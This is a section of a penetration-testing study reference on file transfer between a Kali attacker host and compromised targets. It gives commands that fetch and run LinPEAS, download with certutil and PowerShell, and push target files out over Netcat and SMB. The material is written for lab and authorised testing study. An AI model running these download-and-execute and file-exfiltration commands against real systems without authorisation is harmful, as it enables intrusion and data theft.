9.4.1 File Transfer
← Reference index · Previous: RDP access | Strategy map | Study methods: Establish sessions and move files
Choose: HTTP pull when the target can reach Kali; SCP when SSH credentials work; SMB for a Windows-friendly read/write share; Netcat or Base64 only when the simpler route is unavailable.
9.4.1.1 Linux target: pull LinPEAS from Kali over HTTP
On Kali, serve the directory containing linpeas.sh:
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0
On the Linux target, download into a writable directory and run it:
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt
Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.
9.4.1.1.1 HTTP variants — fixed server directory, curl, Windows and alternate built-ins
9.4.1.1.2 Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools
Python's simple server supplies downloads over unencrypted HTTP. Stop it with Ctrl+C when finished.
9.4.1.1.3 Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE
-f reports HTTP errors and -L follows redirects. Use a writable destination.
9.4.1.1.4 Windows target with PowerShell
Run inside PowerShell:
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"
From cmd.exe, invoke PowerShell explicitly:
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"
9.4.1.1.5 Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE
Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.
9.4.1.2 Verify the transfer
Compare the source and destination hashes.
On Kali or Linux:
sha256sum FILE
sha256sum /tmp/FILE
On Windows:
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"
Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.
9.4.1.2.1 SCP — copy through an authenticated SSH service
9.4.1.2.2 Kali to a Linux target
scp FILE USER@TARGET:/tmp/FILE
9.4.1.2.3 Linux target to Kali
Run from Kali when the target's SSH service is reachable:
scp USER@TARGET:/path/to/FILE ./FILE
9.4.1.2.4 SSH key or nonstandard port
scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE
scp uses uppercase -P for the SSH port. Authentication success does not guarantee write permission at the destination path.
9.4.1.2.5 SMB — read and write files from Windows
9.4.1.2.6 Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
The first positional value is the share name; the second is its local directory. The supplied USER and PASSWORD authenticate to this temporary Kali share.
Some installations expose the legacy wrapper name:
sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
9.4.1.2.7 Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE
9.4.1.2.8 Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete
Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.
9.4.1.2.9 Netcat — stream a file when a direct TCP connection is possible
9.4.1.2.10 Retrieve a file from the target to Kali
Kali receives:
nc -lvnp PORT > FILE
The target sends:
nc -nv LHOST PORT < /path/to/FILE
9.4.1.2.11 Send a file from Kali to the target
The target receives:
nc -lvnp PORT > /tmp/FILE
Kali sends:
nc -nv TARGET PORT < FILE
If the listener rejects -p, use the OpenBSD-style form and check nc -h locally:
nc -lvn PORT > FILE
Netcat provides no authentication, encryption, filename metadata or integrity check. Confirm direction and compare hashes afterward.
9.4.1.2.12 Temporary FTP — only when an FTP client is the available route
On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment:
python3 -m pyftpdlib -p PORT
On the target:
ftp LHOST PORT
binary
get FILE
put FILE
quit
The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.
9.4.1.2.13 Base64 — move a small file through a text-only channel
9.4.1.2.14 Encode on Linux
base64 -w 0 FILE
9.4.1.2.15 Decode on Linux
printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE
9.4.1.2.16 Decode in PowerShell
[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))
Use this for small files. Long encoded values are easy to truncate or corrupt; compare hashes.
9.4.1.2.17 Failure cues — identify the broken layer
| Symptom | Check next |
|---|---|
| Kali logs no HTTP request | Confirm LHOST, target-to-Kali route, listener bind address and outbound filtering |
| HTTP returns 404 | Confirm the server directory, exact filename and case |
| Destination reports permission denied | Use a writable directory such as /tmp or the current user's Windows temp directory |
| File downloads but does not run | Verify its hash, interpreter/architecture, execute permission and line endings |
| SCP authenticates but cannot write | Change the remote destination to a directory writable by that identity |
| SMB connection fails | Check TCP/445 reachability, credentials, SMB2 support and existing Windows connections to the same server |
| Netcat connects but the file differs | Repeat with clear sender/receiver roles and compare hashes before executing |
9.4.1.3 PHP HTTP file server when Python is unavailable
Use on the sending host when PHP CLI is present and the receiver can reach it. Serve a directory containing only the intended transfer artifacts.
9.4.1.3.1 php -S 0.0.0.0:8000 -t ./transfer
php -S 0.0.0.0:8000 -t ./transfer9.4.1.3.2 Receiver: use the actual sender address and verify the received artifact
# Receiver: use the actual sender address and verify the received artifact
curl -f http://LHOST:8000/FILE -o FILE
Read: this is a file-serving route, not an upload server or a shell. Check the HTTP status, file size/hash and target architecture before execution. If the target cannot initiate this connection, choose another transfer direction/transport rather than restarting the same server.
Sources: upstream 1.